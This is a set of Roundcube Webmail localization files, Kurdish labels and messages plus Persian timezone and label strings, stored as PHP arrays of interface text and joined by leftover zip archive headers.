 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Bi xêr hatî $product\'ê';
$labels['username'] = 'Bikarhêner';
$labels['password'] = 'Nasnav';
$labels['server'] = 'Pêşkêşkar';
$labels['login'] = 'Têkevê';
$labels['logout'] = 'Derkeve';
$labels['mail'] = 'E-Peyam';
$labels['settings'] = 'Mîhengên Takekesî';
$labels['addressbook'] = 'Lênûska Navnîşanan';
$labels['inbox'] = 'Hatî';
$labels['drafts'] = 'Hilanînî';
$labels['sent'] = 'Şandî';
$labels['trash'] = 'Çop';
$labels['junk'] = 'Biikêrnehatî';
$labels['show_real_foldernames'] = 'Ji bo dosyeyên taybet navên rast bide nîşan';
$labels['subject'] = 'Mijar';
$labels['from'] = 'Şandyar';
$labels['sender'] = 'Şandyar';
$labels['to'] = 'Standyar';
$labels['cc'] = 'Kopiya Karbon';
$labels['bcc'] = 'Kopiya karbon a Veşartî';
$labels['replyto'] = 'Navnîşanên Standyar';
$labels['date'] = 'Dîrok';
$labels['size'] = 'Mezinahî';
$labels['priority'] = 'Girîngî';
$labels['organization'] = 'Sazî';
$labels['readstatus'] = 'Rewşê bixwîne';
$labels['listoptions'] = 'Vebijêrk tên rêzkirin...';
$labels['mailboxlist'] = 'Peldank';
$labels['messagesfromto'] = 'Peyam $count ên di navbera $from - $to';
$labels['messagenrof'] = '$nr a peyama $count';
$labels['fromtoshort'] = '$from – $to ji $count';
$labels['copy'] = 'Kopiya Karbon';
$labels['move'] = 'Bibe';
$labels['moveto'] = 'bibe...';
$labels['copyto'] = 'Kopyayek çêke li ser ...';
$labels['download'] = 'Daxîne';
$labels['open'] = 'Veke';
$labels['showattachment'] = 'Bide nîşan';
$labels['showanyway'] = 'Her çawa be nîşan bide';
$labels['filename'] = 'Navê pelê';
$labels['filesize'] = 'Mezinahiya pelê';
$labels['addtoaddressbook'] = 'Têxe lênûska navnîşanan';
$labels['sun'] = 'Yş';
$labels['mon'] = 'Dş';
$labels['tue'] = 'Sş';
$labels['wed'] = 'Çş';
$labels['thu'] = 'Pş';
$labels['fri'] = 'În';
$labels['sat'] = 'Şe';
$labels['sunday'] = 'Yekşem';
$labels['monday'] = 'Duşem';
$labels['tuesday'] = 'Sêşem';
$labels['wednesday'] = 'Çarşem';
$labels['thursday'] = 'Pêncşem';
$labels['friday'] = 'În';
$labels['saturday'] = 'Şemî';
$labels['jan'] = 'Çile';
$labels['feb'] = 'Reş';
$labels['mar'] = 'Adar';
$labels['apr'] = 'Avr';
$labels['may'] = 'Gul';
$labels['jun'] = 'Pûş';
$labels['jul'] = 'Tîr';
$labels['aug'] = 'Gel';
$labels['sep'] = 'Rez';
$labels['oct'] = 'Cotm';
$labels['nov'] = 'Serm';
$labels['dec'] = 'Berf';
$labels['longjan'] = 'Rêbendan';
$labels['longfeb'] = 'Reşemî';
$labels['longmar'] = 'Adar';
$labels['longapr'] = 'Avrêl';
$labels['longmay'] = 'Gulan';
$labels['longjun'] = 'Pûşper';
$labels['longjul'] = 'Tîrmeh';
$labels['longaug'] = 'Tebax';
$labels['longsep'] = 'Rezber';
$labels['longoct'] = 'Kewçêr';
$labels['longnov'] = 'Sermawez';
$labels['longdec'] = 'Berfanbar';
$labels['today'] = 'Îro';
$labels['refresh'] = 'Tezekirin';
$labels['checkmail'] = 'Li peyamên nû venihêre';
$labels['compose'] = 'Peyamekê biafirîne';
$labels['writenewmessage'] = 'Peyameke nû biafirîne';
$labels['reply'] = 'Bersivê bide';
$labels['replytomessage'] = 'Bersivê bide peyamê';
$labels['replytoallmessage'] = 'Bersivê ji bo hemû kesên ku ev peyan standine bişîne';
$labels['replyall'] = 'Hemûyan bibersivîne';
$labels['replylist'] = 'Lîsteyê bibersivîne';
$labels['forward'] = 'Pêşde';
$labels['forwardmessage'] = 'Bersivê bide peyamê';
$labels['deletemessage'] = 'Peyamê jê bibe';
$labels['movemessagetotrash'] = 'Peyamê dake çopê';
$labels['printmessage'] = 'Vê peyamê çap bike';
$labels['previousmessage'] = 'Peyama berê nîşan bide';
$labels['firstmessage'] = 'Peyama yekemîn nîşan bide';
$labels['nextmessage'] = 'Peyama di rêzê de nîşan bide';
$labels['lastmessage'] = 'Peyama dawî nîşan bide';
$labels['backtolist'] = 'Vegere lîsteya peyaman';
$labels['viewsource'] = 'Çavkaniyê nîşan bide';
$labels['mark'] = 'Nîşan bike';
$labels['markmessages'] = 'Peyamê nîşan bike';
$labels['markread'] = 'Wekî xwendî';
$labels['markunread'] = 'Wekî nexwendî';
$labels['markflagged'] = 'Wek alakirî';
$labels['markunflagged'] = 'Wek nealakirî';
$labels['moreactions'] = 'Bêhtir tevger...';
$labels['folders-all'] = 'Hemû dosye';
$labels['more'] = 'Bêhtir';
$labels['back'] = 'Paşve';
$labels['options'] = 'Vebijêrk';
$labels['first'] = 'Pêşîn';
$labels['last'] = 'Dawîn';
$labels['previous'] = 'Pêşde';
$labels['next'] = 'Piştde';
$labels['select'] = 'Hilbijêre';
$labels['all'] = 'Hemû';
$labels['none'] = 'Ne yek jî';
$labels['currpage'] = 'Rûpela niha';
$labels['isread'] = 'Bixwîne';
$labels['unread'] = 'Nexwendî';
$labels['flagged'] = 'Bialakirî';
$labels['unflagged'] = 'Nealakirî';
$labels['unanswered'] = 'Bersivnedayî';
$labels['withattachment'] = 'Bi pêvek';
$labels['deleted'] = 'Jêbirî';
$labels['undeleted'] = 'Nê jêbirî';
$labels['replied'] = 'Bersivdayî';
$labels['filter'] = 'Parzûn';
$labels['list'] = 'Lîste';
$labels['expand-all'] = 'Hemûyan fireh bike';
$labels['expand-unread'] = 'Ên nexwendî veke';
$labels['expand_only_unread'] = 'tenê bi peyamên nexwendî';
$labels['fromto'] = 'Ji/Jê re';
$labels['flag'] = 'Ala';
$labels['attachment'] = 'Pêvek';
$labels['nonesort'] = 'Ne yek jî';
$labels['sentdate'] = 'Dema şandinê';
$labels['arrival'] = 'Dema hatinê';
$labels['asc'] = 'ber bi jor ve';
$labels['desc'] = 'ber bi jêr ve';
$labels['listcolumns'] = 'Stûnan lîste bike';
$labels['listsorting'] = 'Stûna parzûnkirinê';
$labels['listorder'] = 'Rêza parzûnkirinê';
$labels['layoutlist'] = 'Lîste';
$labels['folderactions'] = 'Tevgerên dosyeyê...';
$labels['compact'] = 'Kompakt';
$labels['empty'] = 'Vala Bike';
$labels['quota'] = 'Bikaranîna dîskê';
$labels['unknown'] = 'nayê zanîn';
$labels['unlimited'] = 'bêsînor';
$labels['quotatotal'] = 'Lîmît';
$labels['quotaused'] = 'Bikarhatî';
$labels['quotastorage'] = 'Valahiya dîskê';
$labels['quotamessage'] = 'Hejmara peyaman';
$labels['quicksearch'] = 'Lêgerîna bilez';
$labels['resetsearch'] = 'Lêgerînê reset bike';
$labels['msgtext'] = 'Hemû peyam';
$labels['type'] = 'Cûre';
$labels['namex'] = 'Nav';
$labels['currentfolder'] = 'Dosyeya niha';
$labels['subfolders'] = 'Ev û bindosye';
$labels['allfolders'] = 'Hemû dosye';
$labels['openinextwin'] = 'Di pencereyeke nû de veke';
$labels['emlsave'] = 'Daxîne (.eml)';
$labels['changeformathtml'] = 'Di forma HTMLê de nîşan bide';
$labels['editasnew'] = 'Wek nû sererast bike';
$labels['send'] = 'Bişîne';
$labels['sendmessage'] = 'Peyamê niha bişîne';
$labels['savemessage'] = 'Hilîne';
$labels['addattachment'] = 'Pelekê lê zêde bike';
$labels['charset'] = 'Curetîp';
$labels['editortype'] = 'Cureyê serastkat';
$labels['returnreceipt'] = 'Rapora Vegerînê';
$labels['mailreplyintro'] = 'Di $date de, şandyar nivîsî:';
$labels['originalmessage'] = 'Peyama orîjînal';
$labels['selectimage'] = 'Wêne bibijêre';
$labels['addimage'] = 'Wêne tev bike';
$labels['selectmedia'] = 'Fîlmekê bibijêre';
$labels['addmedia'] = 'Fîlmekê tev bike';
$labels['insert'] = 'Tev bike';
$labels['checkspelling'] = 'Kontrola rastnivîsê';
$labels['resumeediting'] = 'Serastkirinê bidomîne';
$labels['revertto'] = 'Şûnde bîne';
$labels['responses'] = 'Bersivgel';
$labels['insertresponse'] = 'Bersivekê têxê';
$labels['manageresponses'] = 'Bersivan bi rê ve bibe';
$labels['newresponse'] = 'Bersiveke nê biafirîne';
$labels['addresponse'] = 'Bersivê tev bike';
$labels['editresponse'] = 'Bersivê sererast bike';
$labels['editresponses'] = 'Bersivan sererast bike';
$labels['responsename'] = 'Nav';
$labels['responsetext'] = 'Teksta Bersivê';
$labels['attach'] = 'Pêvek';
$labels['attachments'] = 'Pêvek';
$labels['upload'] = 'Bar bike';
$labels['uploadprogress'] = '$percent ($current ji $total)';
$labels['close'] = 'Bigire';
$labels['messageoptions'] = 'Vebijêrkên peyamê...';
$labels['low'] = 'Nizm';
$labels['lowest'] = 'Nizmtirîn';
$labels['normal'] = 'Asayî';
$labels['high'] = 'Bilind';
$labels['highest'] = 'Bilintirîn';
$labels['nosubject'] = '(bê mijar)';
$labels['showimages'] = 'Xuyakirina wêneyan';
$labels['alwaysshow'] = 'Her tim dîmenên ji $sender nîşan bide';
$labels['andnmore'] = '$nr bêhtir...';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'Deqa tazî';
$labels['savesentmessagein'] = 'Peyama şandî tomar bike di ';
$labels['dontsave'] = 'tomar neke';
$labels['addcc'] = 'Cc Têxê';
$labels['addbcc'] = 'Bcc Têxê';
$labels['addreplyto'] = 'Bibersivîne têxê';
$labels['mdnrequest'] = 'Şandyarê/a vê peyamê xwest dema ku tu vê peyamê bixwînî ew were agahdarkirin. Tu dixwazî wî/ê agahdar bikî?';
$labels['receiptread'] = 'Rapora Vegerînê (xwendî)';
$labels['yourmessage'] = 'Ev rapora vegerîna peyama te ye';
$labels['receiptnote'] = 'Nîşe: Ev dide zanîn ka peyama te şand hat xwendin an na. Naveroka peyamê bi mîgogerî nayê zanîn.';
$labels['name'] = 'Navê xuya dibe';
$labels['firstname'] = 'Nav';
$labels['surname'] = 'Paşnav';
$labels['middlename'] = 'Navê navîn';
$labels['nameprefix'] = 'Pêşgir';
$labels['namesuffix'] = 'Paşgir';
$labels['nickname'] = 'Nûçik';
$labels['jobtitle'] = 'Şana Kar';
$labels['department'] = 'Beş';
$labels['gender'] = 'Zayend';
$labels['email'] = 'E-Peyam';
$labels['phone'] = 'Telefon';
$labels['address'] = 'Navnîşan';
$labels['street'] = 'Kolan';
$labels['locality'] = 'Bajar';
$labels['zipcode'] = 'ZIP Code';
$labels['region'] = 'Eyalet';
$labels['country'] = 'Welat';
$labels['birthday'] = 'Rojbûn';
$labels['anniversary'] = 'Sersal';
$labels['website'] = 'Website';
$labels['instantmessenger'] = 'IM';
$labels['notes'] = 'Nîşegel';
$labels['male'] = 'mêr';
$labels['female'] = 'jin';
$labels['manager'] = 'Birêvebir';
$labels['assistant'] = 'Alîkar';
$labels['spouse'] = 'Heval';
$labels['allfields'] = 'Hemû qad';
$labels['search'] = 'Lêgerîn';
$labels['searchresult'] = 'Encama lêgerînê';
$labels['advsearch'] = 'Lêgerîna pêşketî';
$labels['advanced'] = 'Pêşketî';
$labels['other'] = 'A din';
$labels['typehome'] = 'Mal';
$labels['typework'] = 'Kar';
$labels['typeother'] = 'A din';
$labels['typemobile'] = 'Mobîl';
$labels['typemain'] = 'Sereke';
$labels['typehomefax'] = 'Faksa Malê';
$labels['typeworkfax'] = 'Faksa Kar';
$labels['typecar'] = 'Otomobîl';
$labels['typevideo'] = 'Bînûdeng';
$labels['typeassistant'] = 'Alîkar';
$labels['typehomepage'] = 'Malper';
$labels['typeblog'] = 'Blog';
$labels['typeprofile'] = 'Berg';
$labels['addfield'] = 'Qadekî zêde bike';
$labels['addcontact'] = 'Kesekî zêde bike';
$labels['editcontact'] = 'Têkiliyê serast bike';
$labels['contacts'] = 'Kes';
$labels['contactproperties'] = 'Taybetmendiyên Kesan';
$labels['contactnameandorg'] = 'Nav û rêxistin';
$labels['personalinfo'] = 'Agahiyên kesane';
$labels['contactphoto'] = 'Wêneyê Kes';
$labels['edit'] = 'Serast bike';
$labels['cancel'] = 'Betal';
$labels['save'] = 'Tomar bike';
$labels['delete'] = 'Jê Bibe';
$labels['rename'] = 'Dîsa navek lê bike';
$labels['addphoto'] = 'Tev bike';
$labels['replacephoto'] = 'Dîsa bi cih bike';
$labels['uploadphoto'] = 'Fotoyek bar bike';
$labels['newcontact'] = 'Kesekî nû biafirîne';
$labels['deletecontact'] = 'Têkiliyên hilbijartî jê bibe';
$labels['composeto'] = 'Ji têkiliya hilbijartî re peyam bişîne';
$labels['contactsfromto'] = 'Têkiliyên $count ên di navbera $from - $to de';
$labels['print'] = 'çap bike';
$labels['export'] = 'Derxe';
$labels['exportall'] = 'Hemûyan derxe';
$labels['exportsel'] = 'A bijartî derxe';
$labels['newgroup'] = 'Komeke nû çêke';
$labels['addgroup'] = 'Komek tev bike';
$labels['grouprename'] = 'Dîsa navekî li komê bike';
$labels['groupdelete'] = 'Komê rake';
$labels['uponelevel'] = 'Astek jor';
$labels['previouspage'] = 'Seta berê nîşan bide';
$labels['firstpage'] = 'Seta yekemîn nîşan bide';
$labels['nextpage'] = 'Seta di rêzê de nîşan bide';
$labels['lastpage'] = 'Seta dawî nîşan bide';
$labels['group'] = 'Kom';
$labels['groups'] = 'Kom';
$labels['personaladrbook'] = 'Navnîşanên Takekesî';
$labels['searchsave'] = 'Lêgerînê tomar bike';
$labels['searchdelete'] = 'Lêgerînê jê bibe';
$labels['import'] = 'Derhîne';
$labels['done'] = 'Qediya';
$labels['settingsfor'] = 'Mîheng ji bo';
$labels['about'] = 'Derbar';
$labels['preferences'] = 'Vebijêrk';
$labels['userpreferences'] = 'Vebijêrkên bikarhêner';
$labels['editpreferences'] = 'Vebijêrkên bikarhêner serast bike';
$labels['identities'] = 'Nasname';
$labels['preferhtml'] = 'Wekî HTML nîşan bide';
$labels['htmlmessage'] = 'Peyama HTML';
$labels['messagepart'] = 'Parçe';
$labels['digitalsig'] = 'Îmzeya Dîjîtal';
$labels['prettydate'] = 'Kurtenivîsa Dîrokê';
$labels['setdefault'] = 'Wekî standard tomar bike';
$labels['language'] = 'Ziman';
$labels['timezone'] = 'Herêma demê';
$labels['pagesize'] = 'Hejmara peyamên her rûpelekê';
$labels['signature'] = 'Şanenav';
$labels['dstactive'] = 'Demjimêra havînî';
$labels['htmleditor'] = 'Peyameke HTML biafirîne';
$labels['htmlsignature'] = 'Şanenava HTML';
$labels['previewpane'] = 'Panela berê nîşan bide';
$labels['askuser'] = 'bipirse min';
$labels['skipdeleted'] = 'Peyamên jêbirî nîşan nede';
$labels['always'] = 'Her tim';
$labels['autosavedraft'] = 'Xweber hilîne';
$labels['everynminutes'] = 'Her $n saniye(yan)';
$labels['never'] = 'qet';
$labels['immediately'] = 'a niha';
$labels['allmessages'] = 'hemû peyam';
$labels['folder'] = 'Peldank';
$labels['folders'] = 'Peldank';
$labels['foldername'] = 'Navê peldankê';
$labels['subscribed'] = 'Ni şanenav';
$labels['messagecount'] = 'Peyam';
$labels['create'] = 'Biafirîne';
$labels['createfolder'] = 'Peldankeke nû biafirîne';
$labels['managefolders'] = 'Rêveberiya peldankan';
$labels['sortby'] = 'Şêweyê rêzkirinê';
$labels['sortasc'] = 'Wekî zêde dibe';
$labels['sortdesc'] = 'Wekî kêm dibe';
$labels['license'] = 'Lîsans';
PK
h�\HdOO$program/localization/ku/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'Çewtiyek pêk hat!';
$messages['loginfailed']  = 'Têketin têk çû';
$messages['cookiesdisabled'] = 'Geroka te destûrê nade çerezan';
$messages['sessionerror'] = 'Danişîna te çewt e an jî bi dawî bûye';
$messages['storageerror'] = 'Girêdana pêşkêşkara IMAP têk çû';
$messages['servererror'] = 'Çewtiya pêşkêş!';
$messages['servererrormsg'] = 'Çewtiya Pêşkêş: $msg';
$messages['connerror'] = 'Çewtiya Girêdanê (Negihîşte pêşkêş)!';
$messages['dberror'] = 'Çewtiya Danegehê!';
$messages['requesttimedout'] = 'Dema xwestinê hat derbaskirin';
$messages['errorreadonly'] = 'Ev kar pêk nehat. Dosya tenê tê xwendin.';
$messages['errornoperm'] = 'Ev kar pêk nehat. Destûr nehat dayîn.';
$messages['erroroverquota'] = 'Ev kara pêk nehat. Di dîskê de cihê vala nîn e.';
$messages['erroroverquotadelete'] = 'Di dîskê de cihê vala nîn e. SHIFT+DELê bi kar bîne da ku peyamekê jê bibî.';
$messages['invalidrequest'] = 'Dawxaza nederbasdar! Tu dane nehat tomarkirin.';
$messages['invalidhost'] = 'Navê pêşkêş ê nederbasdar.';
$messages['nomessagesfound'] = 'Di vê peyamdankê de tu peyam nehat dîtin';
$messages['mailboxempty'] = 'Cihê peyamên hatî vala ye';
$messages['nomessages'] = 'Peyam nîn in';
$messages['refreshing'] = 'Tê tezekirin...';
$messages['loading'] = 'Tê barkirin...';
$messages['uploading'] = 'Pel tê barkirin...';
$messages['uploadingmany'] = 'Pel tên barkirin...';
$messages['loadingdata'] = 'Dane tên barkirin...';
$messages['checkingmail'] = 'Li peyamên nû vedinihêre...';
$messages['sendingmessage'] = 'Peyamê dişîne...';
$messages['messagesent'] = 'Peyam hate şandin';
$messages['savingmessage'] = 'Peyam tê hilanîn...';
$messages['messagesaved'] = 'Peyam di Hilanînî de hat hilanîn';
$messages['successfullysaved'] = 'Hat hilanîn';
$messages['savingresponse'] = 'Bersiva nivîsê tê tomarkirin...';
$messages['deleteresponseconfirm'] = 'Tu bi rastî dixwazî vê nivîsa bersivê jê bibî?';
$messages['addedsuccessfully'] = 'Têkilî li navnîşanan hat zêdekirin';
$messages['contactnameexists'] = 'Jixwe kesekî bi heman navî heye.';
$messages['blockedimages'] = 'Ji bo ewlekariya te wêneyên cuda yên vê peyamê hatin astenkirin.';
$messages['encryptedmessage'] = 'Ev peyamenek şîfrekirî ye, bibore, nayê vekirin!';
$messages['nocontactsfound'] = 'Tu têkiliyek nehat dîtin';
$messages['contactnotfound'] = 'Têkiliya dihat xwestin nehat dîtin';
$messages['sendingfailed'] = 'Peyam nehat şandin';
$messages['senttooquickly'] = 'Ji kerema xwe, bo $ saniyek saniye(yan) bisekine beriya şandina vê peyamê.';
$messages['errorsavingsent'] = 'Dema ku peyama şandî hat tomarkirin çewtiyek pêk hat.';
$messages['errorsaving'] = 'Wextê tomarkirinê çewtiyek çêbû. ';
$messages['errormoving'] = 'Ciyê peyamê nehat guherandin';
$messages['errorcopying'] = 'Peyam(gel) nehat(in) hemankirin. ';
$messages['errordeleting'] = 'Peyam nehat jêbirin';
$messages['deletecontactconfirm']  = 'Ji dil dixwazî têkiliya/ên nîşankirî jê bibî?';
$messages['deletemessagesconfirm'] = 'Ji dil dixwazî peya/ên nîşankirî jê bibî?';
$messages['deletefolderconfirm']  = 'Ji dil dixwazî vê peldankê jê bibî?';
$messages['purgefolderconfirm']  = 'Ji dil dixwazî hemû peyamên di vê peldankê de jê bibî?';
$messages['groupdeleting'] = 'Kom tê rakirin...';
$messages['folderdeleting'] = 'Dosye tê rakirin...';
$messages['foldermoving'] = 'Dosye tê kêşandin...';
$messages['formincomplete'] = 'Form bi temamî nehat tijekirin';
$messages['noemailwarning'] = 'Tika ye, navnîşaneke rast têkevê';
$messages['nonamewarning']  = 'Tika ye, navekî têkevê';
$messages['nopagesizewarning'] = 'Tika ye, mezinahiyeke pelê têkevê';
$messages['norecipientwarning'] = 'Tika ye, herî kêm standyarekê têkevê';
$messages['nosubjectwarning']  = 'Qada "Mijar"ê vala ye. Dixwazî niha tiştekî lê binivîsî?';
$messages['nobodywarning'] = 'Peyamê bê nivîs bişeyînî?';
$messages['nosearchname'] = 'Tika ye, nav an jî navnîşaneke têkiliyê têkevê';
$messages['searchsuccessful'] = '$nr peyam hat(in) dîtin';
$messages['searchnomatch'] = 'Di lêgerînê de tu tişt nehat dîtin';
$messages['searching'] = 'Digere...';
$messages['checking'] = 'Vedinihêre...';
$messages['stillsearching'] = 'Hin lê digere...';
$messages['nospellerrors'] = 'Tu şaşiyeke rastnivîsê nehat dîtin';
$messages['folderdeleted'] = 'Peldank hat jêbirin';
$messages['deletedsuccessfully'] = 'Hat jêbirin';
$messages['converting'] = 'Formatkirin ji peyamê tê birin...';
$messages['messageopenerror'] = 'Peyam ji pêşkêşkar nehat barkirin';
$messages['fileuploaderror'] = 'Barkirina pelê têk çû';
$messages['filesizeerror'] = 'Pel pir mezin e. Herî zêde divê $size be';
$messages['sourceisreadonly'] = 'Çavkaniya vê navnîşanê tenê-xwendin e';
$messages['errorsavingcontact'] = 'Navnîşana têkiliyê nehat barkirin';
$messages['movingmessage'] = 'Ciyê peyamê tê guhertin...';
$messages['copyingmessage'] = 'Peyam(gel) tên kopîkirin... ';
$messages['deletingmessage'] = 'Peyam(gel) tê jêbirin...';
$messages['receiptsent'] = 'Rapora şandina serkeftî';
$messages['errorsendingreceipt'] = 'Rapor nehat şandin';
$messages['nodeletelastidentity'] = 'Nikarî vê nasnameyê jê bibî. Ew ya dawî ye.';
$messages['groupcreated'] = 'Kom bi serkeftin hat afirandin.';
PK
h�\MTT(program/localization/fa_IR/timezones.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/timezones/
*/

$labels['tz:utc'] = 'UTC';
$labels['tz:africa'] = 'آفریقا';
PK
h�\�w�m3|3|%program/localization/fa_IR/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'به $product خوش آمدید';
$labels['username'] = 'نام‌کاربری';
$labels['password'] = 'گذرواژه';
$labels['server'] = 'سرور';
$labels['login'] = 'ورود';
$labels['menu'] = 'فهرست';
$labels['logout'] = 'خروج';
$labels['mail'] = 'پست';
$labels['settings'] = 'تنظیمات';
$labels['addressbook'] = 'دفتر نشانی';
$labels['inbox'] = 'صندوق ورودی';
$labels['drafts'] = 'پیش‌نویس‌ها';
$labels['sent'] = 'ارسال شده';
$labels['trash'] = 'زباله‌دان';
$labels['junk'] = 'بنجل';
$labels['show_real_foldernames'] = 'نمایش نام‌های واقعی برای پوشه‌های ویژه';
$labels['subject'] = 'موضوع';
$labels['from'] = 'از';
$labels['sender'] = 'فرستنده';
$labels['to'] = 'به';
$labels['cc'] = 'رونوشت';
$labels['bcc'] = 'رونوشت مخفی';
$labels['replyto'] = 'پاسخ-به';
$labels['followupto'] = 'پیگیری-در';
$labels['date'] = 'تاریخ';
$labels['size'] = 'اندازه';
$labels['priority'] = 'اولویت';
$labels['organization'] = 'سازمان';
$labels['readstatus'] = 'وضعیت خوانده شدن';
$labels['listoptions'] = 'فهرست گزینه‌ها...';
$labels['listoptionstitle'] = 'گزینه‌های لیست';
$labels['mailboxlist'] = 'پوشه‌ها';
$labels['messagesfromto'] = 'پیغام‌های $from تا $to از $count';
$labels['threadsfromto'] = 'رشته‌های $from تا $to از $count';
$labels['messagenrof'] = 'پیغام $nr از $count';
$labels['fromtoshort'] = '$from - $to از $count';
$labels['copy'] = 'رونوشت';
$labels['move'] = 'انتقال';
$labels['moveto'] = 'انتقال به...';
$labels['copyto'] = 'رونوشت به...';
$labels['download'] = 'بارگیری';
$labels['open'] = 'باز کردن';
$labels['showattachment'] = 'نمایش';
$labels['showanyway'] = 'نمایش آن در هر صورت';
$labels['filename'] = 'نام پرونده';
$labels['filesize'] = 'اندازه پرونده';
$labels['addtoaddressbook'] = 'افزودن به دفتر نشانی‌ها';
$labels['sun'] = 'یک‌شنبه';
$labels['mon'] = 'دوشنبه';
$labels['tue'] = 'سه‌شنبه';
$labels['wed'] = 'چهارشنبه';
$labels['thu'] = 'پنج‌شنبه';
$labels['fri'] = 'جمعه';
$labels['sat'] = 'شنبه';
$labels['sunday'] = 'یک‌شنبه';
$labels['monday'] = 'دوشنبه';
$labels['tuesday'] = 'سه‌شنبه';
$labels['wednesday'] = 'چهارشنبه';
$labels['thursday'] = 'پنج‌شنبه';
$labels['friday'] = 'جمعه';
$labels['saturday'] = 'شنبه';
$labels['jan'] = 'ژان';
$labels['feb'] = 'فور';
$labels['mar'] = 'مار';
$labels['apr'] = 'آور';
$labels['may'] = 'مه';
$labels['jun'] = 'ژون';
$labels['jul'] = 'ژوی';
$labels['aug'] = 'اوت';
$labels['sep'] = 'سپت';
$labels['oct'] = 'اُکت';
$labels['nov'] = 'نوا';
$labels['dec'] = 'دسا';
$labels['longjan'] = 'ژانویه';
$labels['longfeb'] = 'فوریه';
$labels['longmar'] = 'مارس';
$labels['longapr'] = 'آوریل';
$labels['longmay'] = 'می';
$labels['longjun'] = 'ژوئن';
$labels['longjul'] = 'جولای';
$labels['longaug'] = 'آگوست';
$labels['longsep'] = 'سپتامبر';
$labels['longoct'] = 'اکتبر';
$labels['longnov'] = 'نوامبر';
$labels['longdec'] = 'دسامبر';
$labels['today'] = 'امروز';
$labels['refresh'] = 'نوسازی';
$labels['checkmail'] = 'بررسی برای پیام‌های جدید';
$labels['compose'] = 'نوشتن پیام';
$labels['writenewmessage'] = 'ایجاد پیام جدید';
$labels['reply'] = 'پاسخ';
$labels['replytomessage'] = 'پاسخ به فرستنده';
$labels['replytoallmessage'] = 'پاسخ به فهرست یا به فرستنده و تمام گیرنده‌ها';
$labels['replyall'] = 'پاسخ به همه';
$labels['replylist'] = 'پاسخ به فهرست';
$labels['forward'] = 'ارجاع';
$labels['forwardinline'] = 'ارجاع خطی';
$labels['forwardattachment'] = 'ارجاع به صورت پیوست';
$labels['forwardmessage'] = 'ارجاع پیام';
$labels['bouncemsg'] = 'ارسال مجدد (پرش)';
$labels['bounce'] = 'ارسال مجدد';
$labels['deletemessage'] = 'حذف پیغام';
$labels['movemessagetotrash'] = 'انتقال پیغام به زباله‌دان';
$labels['printmessage'] = 'چاپ این پیغام';
$labels['previousmessage'] = 'نمایش پیغام قبلی';
$labels['firstmessage'] = 'نمایش پیغام اول';
$labels['nextmessage'] = 'نمایش پیغام بعدی';
$labels['lastmessage'] = 'نمایش پیغام آخر';
$labels['backtolist'] = 'بازگشت به فهرست پیغام';
$labels['viewsource'] = 'نمایش منبع';
$labels['mark'] = 'نشانه‌گذاری';
$labels['markmessages'] = 'نشانه‌گذاری پیغام‌ها';
$labels['markread'] = 'به عنوان خوانده‌شده';
$labels['markunread'] = 'به عنوان خوانده‌نشده';
$labels['markflagged'] = 'به عنوان پرچم‌دار';
$labels['markunflagged'] = 'به عنوان بدون پرچم';
$labels['moreactions'] = 'کارهای دیگر...';
$labels['markallread'] = 'علامت‌گذاری همه به عنوان خوانده‌شده';
$labels['folders-cur'] = 'فقط پوشه‌های انتخاب‌شده';
$labels['folders-sub'] = 'پوشه‌ی انتخاب‌شده و زیرپوشه‌های‌ آن';
$labels['folders-all'] = 'همه پوشه‌ها';
$labels['more'] = 'بيشتر';
$labels['back'] = 'بازگشت';
$labels['options'] = 'گزینه‌ها';
$labels['composeoptions'] = 'تنظیمات نوشتن';
$labels['optionsandattachments'] = 'گزینه‌ها و پیوست‌ها';
$labels['actions'] = 'اقدام‌ها';
$labels['first'] = 'اول';
$labels['last'] = 'آخر';
$labels['previous'] = 'قبل';
$labels['next'] = 'بعد';
$labels['select'] = 'انتخاب';
$labels['selection'] = 'انتخاب';
$labels['all'] = 'همه';
$labels['none'] = 'هیچ‌کدام';
$labels['currpage'] = 'صفحه جاری';
$labels['isread'] = 'خوانده شده';
$labels['unread'] = 'خوانده‌نشده';
$labels['flagged'] = 'پرچم‌دار';
$labels['unflagged'] = 'بدون پرچم';
$labels['unanswered'] = 'پاسخ داده نشده';
$labels['withattachment'] = 'با پیوست';
$labels['deleted'] = 'حذف شده';
$labels['undeleted'] = 'حذف نشده';
$labels['replied'] = 'پاسخ داده شده';
$labels['forwarded'] = 'ارجاع داده شده';
$labels['invert'] = 'وارونه';
$labels['filter'] = 'صافی';
$labels['list'] = 'فهرست';
$labels['threads'] = 'رشته‌ها';
$labels['expand-all'] = 'باز کردن همه';
$labels['expand-unread'] = 'بازکردن خوانده نشده‌ها';
$labels['collapse-all'] = 'جمع کردن همه';
$labels['threaded'] = 'رشته شده';
$labels['autoexpand_threads'] = 'باز کردن رشته‌های پیام';
$labels['do_expand'] = 'همه رشته‌ها';
$labels['expand_only_unread'] = 'فقط با پیام‌های خوانده نشده';
$labels['fromto'] = 'از/به';
$labels['flag'] = 'پرچم';
$labels['attachment'] = 'پیوست';
$labels['nonesort'] = 'هیچ‌کدام';
$labels['sentdate'] = 'تاریخ ارسال';
$labels['arrival'] = 'تاریخ ورود';
